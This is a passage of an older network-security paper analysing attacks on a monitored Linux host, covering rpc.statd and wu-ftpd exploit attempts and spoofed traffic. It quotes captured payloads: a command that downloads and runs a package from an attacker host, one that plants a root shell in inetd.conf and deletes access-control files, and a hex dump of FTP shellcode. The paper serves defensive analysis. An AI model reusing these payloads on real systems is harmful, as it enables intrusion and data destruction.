 4 0.618979       igunda      attacker      74       STAT
   V1 MON Reply XID 0x47bd8de2 dup XID 0x47bd8de2
 5 68.914303     attacker     igunda        60       TCP
   22222 > 22222 [FIN, SYN] Seq=579352919 Ack=84339390 Win=1028 Len=0
 6 68.914399      igunda      attacker      60       TCP
   22222 > 22222 [RST, ACK] Seq=0 Ack=579352920 Win=0 Len=0
```

As you can see, *igunda* withstood the exploit attempt and sent a RST back to the *attacker*. Did you notice the FIN/SYN trick and unique window size again? This version of the `rpc.statd` exploit generates log messages in the `debug` and the `messages` files that include the following text (abbreviated):

```
Oct 27 13:27:54 igunda rpc.statd[353]: SM_MON request for hostname
Oct 27 13:27:54 igunda rpc.statd[353]: POSSIBLE SPOOF/ATTACK ATTEMPT!
Oct 27 13:27:54 igunda rpc.statd[353]: STAT_FAIL to localhost for SM_MON of
```

Unfortunately for the remaining `rpc.statd` exploit attempts *igunda* was subjected to the *Windump* machine was offline. The log files on *igunda* would still capture some interesting data. On November 18, 2000, a German dial-in host sent the following in its attack packet (line wrapped for this paper):[13]

```
/bin/sh -c mkdir /usr/man/man5/.sart ;cd /usr/man/man5/.sart ;
ncftpget -u [username] -p [password] [attackerIPaddress] . c.tar.gz ;
tar zxvf c.tar.gz ;./i ; exit
```

The *attacker* was attempting to not only gain access through the `rpc.statd` daemon, but also create a hidden directory, download some sort of support package and install/run the support tool(s) on *igunda*.

Another `rpc.statd` attack on November 20, 2000 discovered by the log files:

```
/bin/sh -c echo 382655 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;
killall -HUP inetd;
rm -rf /etc/hosts.*
```

Hmmm... It seems this *attacker* was trying install a shell on TCP port 382655 via `inetd.conf`, but TCP ports only go as high as 65535. Interrestingly many systems simply wrap the protocol port number as necessary. In doing so a shell would have been listening on port 54795. If the *attacker* was successful, the next command would have wiped out the `/etc/hosts.deny` and `/etc/hosts.allow` files. The *attacker* was presumably removing any restrictions that may have been setup using the *TCP wrappers* package.[20]

In all, *igunda* saw about ten exploit attempts against the `rpc.statd` daemon during the monitoring period.

[13] This attack and source host was seen by others on the Internet. On one of the security related mailing lists, one person posted the entire account of this source's activity and even used the *attacker* supplied IP address, username and password to learn more about the source and extent of its activity.[19]

3.2 `wu-ftpd`

Surprisingly, the *Windump* machine and *igunda* logged only one exploit attempt on the `wu-ftpd` daemon. It is possible that other exploits were attempted in the final weeks of the project when the *Windump* machine was offline, but *igunda's* logs did not indicate activity different from the service scans that were examined earlier.

Only two weeks after *igunda* went online, it received a full fledged attack and exploit attempt on `wu-ftpd`. It was not my attempt to make *igunda* a *honeypot* and analyze successful attacks and compromises.[21] Others in the field have written a great deal about post-penetration analysis and forensic techniques.[22][23][24] Nevertheless, the attack partially successful, is worth analyzing if it provides insight into future remote exploit attempts that have yet to be invented.

At approximately 8:00 p.m. on September 14, a host from a University in Italy launched the only attack against *igunda's FTP server*. Perhaps related perhaps not, an *FTP services* scan like ones examined earlier occurred approximately 4 hours earlier from a host whose IP address was part of large North American ISP's allocation.

The *attacker* initiated a connection to *igunda's* TCP *FTP* port (21). Shortly thereafter the *attacker* logged in as anonymous user `ftp`. The password entered by the *attacker* begins the exploit attempt. The packet level detail of the *attacker's* password response is shown below:

```
Byte  Hex                                           ASCII
 190  9090 9090 9090 9090 9090 9090 9090 9090   ................
 1a0  9090 31c0 31db 31c9 b046 cd80 31c0 31db   ..1.1.1..F..1.1.
 1b0  4389 d941 b03f cd80 eb6b 5e31 c031 c98d   C..A.?...k^1.1..
 1c0  5e01 8846 0466 b9ff ff01 b027 cd80 31c0   ^..F.f.....'..1.
 1d0  8d5e 01b0 3dcd 8031 c031 db8d 5e08 8943   .^..=..1.1..^..C
 1e0  0231 c9fe c931 c08d 5e08 b00c cd80 fec9   .1...1..^.......
 1f0  75f3 31c0 8846 098d 5e08 b03d cd80 fe0e   u.1..F..^..=....
 200  b030 fec8 8846 0431 c088 4607 8976 0889   .0...F.1..F..v..
 210  460c 89f3 8d4e 088d 560c b00b cd80 31c0   F....N..V.....1.
 220  31db b001 cd80 e890 ffff ffff ffff 3062   1.............0b
 230  696e 3073 6831 2e2e 3131 0d0a            in0sh1..11..
```

The last part of the initial attack packet as shown above should look somewhat similar to those seen from the analysis of *RPC service* attacks. After a number of '0x90' (NOP instructions) the decode of the packet above contains code that will help the *attacker* gain access to the shell.

igunda responds with a with a code of `230` and says the data entered by the *attacker* is not valid, but accepts the password anyway. Next the *attacker* issues two sets of `SITE EXEC` commands. In the packet decodes, the data passed in the `SITE EXEC` commands contain a great deal of string formatting codes. Following these packets, the *attacker* enters '`telnet` *attacker* `31332`' as the next `FTP` command. This appears to setup *igunda* to `TELNET` back to the *attacker's* host on TCP port 31332. The attack almost worked, because *igunda* responds with a response code of `200`, but unfortunately for the *attacker*, included in the reply is the text "500 'TELNET *attacker* 31332': command not understood". After seeing this reply, the *attacker* initiates a graceful TCP shutdown. After the connection is terminated gracefully, the *attacker* follows up 7 seconds later with two TCP RST packets. The attack appears to be generated by an automated tool, which was looking for a successful connection back to port 31332. It is unclear what would have happened if the return TELNET was successful.

4 Miscellaneous Packets

A handful of other packets to and from *igunda* were captured by the *Windump* machine, but not seen in any of *igunda's* log files. For example, a number of lone TCP RST/ACK packets had been received. It seems likely that *igunda's* source IP address was used (spoofed) by an *attacker* against an innocent third party victim, causing the victim to generate a RST packet to *igunda*. *igunda* ignored TCP RST/ACK packets.

Another anomaly was what appeared to be some type of spoofed denial of service attack against a well known U.S. govenment web site. The summary of the packets involved is shown below:

```
No. Time            Source    Destination   Length   Protocol
 1 0.0000000        suspect      igunda       60       TCP
   0 > 1024 [SYN, ACK] Seq=713323970 Ack=2383656254 Win=0 Len=0
 2 0.000262         suspect      igunda       60       TCP
   0 > 1024 [RST, ACK] Seq=713323971 Ack=2383656254 Win=0 Len=0
 3 0.001851         igunda       suspect      60       TCP
   1024 > 0 [RST] Seq=2383656254 Ack=0 Win=0 Len=0
```

It seems highly unlikely that the *suspect* would have generated a valid SYN/ACK from port 0 to *igunda's* port 1024.[14] Perhaps this first packet was spoofed from an uknown *attacker* to *igunda*? If this is the case, why also send a RST/ACK packet? With the sequence and acknowledgement numbers being in alignment, it would seem very unlikely that these packets came from two different sources.[15] If it weren't for the source IP address, it would have been easy to conclude that these packets were being used to help fingerprint *igunda's* OS and TCP/IP stack. However, based on the evidence it seems more likely that *igunda* was part of a unique denial of service on the innocent *suspect*.

igunda also saw a number of lone ICMP destination unreachable packets from various sources. Most often the source IP addresses were of routers at large ISPs and organizations with a large address space allocated to them. These packets do contain a little data to analyze further. The output below is a trace from one ICMP unreachable packet the *Windump* machine saw:

```
No. Time        Source    Destination   Length   Protocol
 1 0.000000     suspect     igunda        70        ICMP
   Destination unreachable
```

[14] Port number 0 is invalid, but is often used by suspects to fingerprint a system.

[15] Using the Perl *Net::RawIP*[25] module I simulated this exchange of packets using a Windows NT host in *igunda's* place. I found that the Windows NT host put 2383656254 in both its ACK and SEQ fields on the TCP RST response!

It is difficult to gather much if any information from these lone ICMP messages, but one thing is for sure, someone out there spoofed *igunda*'s source IP address. This is known, because there is no record of *igunda* having generated a previous packet to cause this response. Fortunately for our analysis, ICMP unreachable messages carry the original IP header plus 8 additional data bytes. With this, we can ascertain the original destination IP address that was unreachable, the TTL field which might provide a clue as to how far away from the suspect the real source host was and if the original packet was a TCP or UDP packet the 8 additional bytes will show the source and destination ports. Unfortunately, there isn't much we can do with this information, but it might help identify patterns or trends.[16]

```
Byte  Hex                                          ASCII
   0  0020 afd0 4272 00e0 1ef7 bc40 0800 4500   . ..Br.....@..E.
  10  0038 0000 0000 f801 63e7 .... .... 8cc0   .8......c.......
  20  0901 0301 f11f 0000 0000 4500 0028 fd44   ..........E..(.D
  30  0000 f906 ab32 8cc0 0901 .... .... 006f   .....2.........o
  40  02fa 2174 e701                            ..!t..
```

The 28 bytes of the original datagram that caused this ICMP unreachable to be generated start at byte 0x2a above. With this being the beginning of the original IP datagram, we can refer to the RFC if necessary and manually recontruct the original packet since our analzyer does not do this for us automatically.[26]

The original packet was a standard TCP/IP packet that had a TTL of 249 (0xf9 is 249 in decimal) at the time it hit the end of the road so it was only a few hops away if we assume it started at 255. Interestingly the TCP source port for this example was 111 (*RPC services*) and the destination port was less than 1024.[17] The original destination IP belongs to the address space of a large China ISP.

Having looked at a number of ICMP destination unreachables like the one above, almost all of them were received from large ISP routers. Almost all the original destination IPs were also destined for large provider address space (as opposed to small commercial or public organizations). The protocol type in the original packet was usually TCP and the port numbers were usually odd high numbered ports. These packets were probably only a small fraction of a larger whole. It is very possible that these packets were randomly generated by an attacker as part of a denial of service attack on Internet routers and large edges of the Internet itself. This is where the analysis of monitoring a single host breaks down. If this project was distributed over a large number of hosts or networks, it may have been possible to correlate the packets together.

5 Conclusion

This paper presented a small and simple dataset of threats one passive Linux host was exposed to on the Internet. It was either impractical or too time

[16]IP addresses other than *igunda's* have been removed for privacy reasons.

[17]Look at bytes 0x3e-0x3f and 0x40-0x41.

consuming to build a honeypot or a *honeynet* system that could be used as a global measure of Internet hostility.[27] Without disclosing *igunda's* presence publicly, the data had to depend solely on those who were randomly searching for hosts to communicate with and potentially attack. It is likely that the data sample was the lowest common denominator of what a typical host may see. As the presence and use of a host increases, scans and attacks would likely rise as well.

During the entire period of the project at no time did I find that an attacker had gained unauthorized access to *igunda*. It is very likely that of all the attackers that knocked on *igunda's* doors, it attracted no one of significant cracking skills to bypass an up to date system installation. Of course, *igunda*'s security was enhanced significantly by avoiding many of the common problems the security industry sees today. For example, without any users on the system many of the problems that come from local compromises were avoided.

In conclusion, a typical end host on the Internet should be able to fend off the majority of anonymous remote attacks that are being launched today by simply keeping the host system up to date and patched. Disabling unnecessary applications and promoting security conciousness in end users will go even further. Based on this project and past experience, at least two major challenges need to be addressed by the Internet community. First, there are a lot of hosts that need to be secured. Second, each Internet host's security depends on every other Internet host's security.

References

[1] Red Hat web page: http://www.redhat.com.

[2] CERT Advisory CA-2000-13 Two Input Validation Problems in FTPD. Advisory page: http://www.cert.org/advisories/CA-2000-13.html.

[3] CERT Advisory CA-2000-17 Input Validation Problem in rpc.statd. Advisory page: http://www.cert.org/advisories/CA-2000-17.html.

[4] WinDump web page: http://netgroup-serv.polito.it/windump/.

[5] tcpdump web page: http://www.tcpdump.org.

[6] Cisco Systems web page: http://www.cisco.com.

[7] NMAP - The Network Mapper web page: http://www.insecure.org/nmap/.

[8] Ethereal web page: http://www.ethereal.com.

[9] Syncan web page: http://www.psychoid.lam3rz.de/synscan.html.

[10] Stephen Northcutt. Network Intrusion Detection: An Analyst's Handbook. New Riders Publishing, 1999.

[11] J. Postel and J. Reynolds. File Transfer Protocol (FTP). RFC 959, October 1985.

[12] Problems With the FTP PORT Command or Why You Don't Want Just Any Port in the Storm. CERT Coordination Center. http://www.cert.org/tech_tips/ftp_port_attacks.html.

[13] R. Srinivasn. RPC: Remote Procedural Call Protocol Specification Version 2. RFC 1831, August 1995.

[14] Sub-7 Trojan horse web page: http://www.sub7page.org.

[15] Packet Storm web page: http://packetstorm.securify.com.

[16] ron1n. statdx.c exploit for Red Hat 6.x Linux. Source code web page: http://packetstorm.securify.com/0008-exploits/statdx.c.

[17] BUGTRAQ mailing list. Maintained by SecurityFocus. Mailing list web page: http://www.securityfocus.com.

[18] Doing. statd.x86.c exploit for Linux/x86. Source code webp page: http://packetstorm.securify.com/0008-exploits/rpc.statd.x86.c

[19] INCIDENTS mailing list. Maintained by SecurityFocus. Mailing list web page: http://www.securityfocus.com.

[20] TCP Wrappers homepage: http://www.porcupine.org.

[21] Lance Spitzner. To Build a Honeypot. June 7, 2000.

[22] Computer Emergency Response Team Coordination Center homepage: http://www.cert.org.

[23] Dan Farmer's web page: http://www.fish.com.

[24] Wietse Venema's web page: http://www.porcupine.org.

[25] Perl Module Net::RawIP available from http://www.cpan.org.

[26] Jon Postel. Internet Protocol. RFC 791, September, 1981.

[27] The Honeynet Project web page: http://project.honeynet.org.